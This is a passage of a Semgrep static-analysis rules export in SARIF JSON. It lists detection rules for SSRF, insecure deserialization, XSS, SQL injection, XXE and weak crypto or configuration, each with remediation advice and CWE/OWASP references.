[https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","id":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","name":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"help":{"markdown":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel)\n - [https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ](https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ)\n","text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","id":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","name":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"help":{"markdown":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","id":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","name":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell","id":"ruby.lang.security.dangerous-subshell.dangerous-subshell","name":"ruby.lang.security.dangerous-subshell.dangerous-subshell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-subshell.dangerous-subshell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint","id":"rust.hyper.sql.postgres-taint.postgres-taint","name":"rust.hyper.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"help":{"markdown":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","id":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","name":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","id":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","name":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"help":{"markdown":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection)\n - [https://laravel.com/docs/8.x/queries](https://laravel.com/docs/8.x/queries)\n","text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection","id":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","name":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-sql-injection.laravel-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md)\n","text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","id":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","name":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-direct-response-write.laravel-direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","id":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","name":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"help":{"markdown":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone)\n - [https://pkg.go.dev/github.com/gorilla/sessions#Options](https://pkg.go.dev/github.com/gorilla/sessions#Options)\n","text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","id":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","name":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"help":{"markdown":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses)\n","text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","id":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","name":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.xss.xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.xss.xss","id":"javascript.browser.xss.xss","name":"javascript.browser.xss.xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.xss.xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization)\n - [https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)\n","text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","id":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","name":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg","id":"javascript.jose.security.jwt-none-alg.jwt-none-alg","name":"javascript.jose.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","id":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","name":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3)\n - 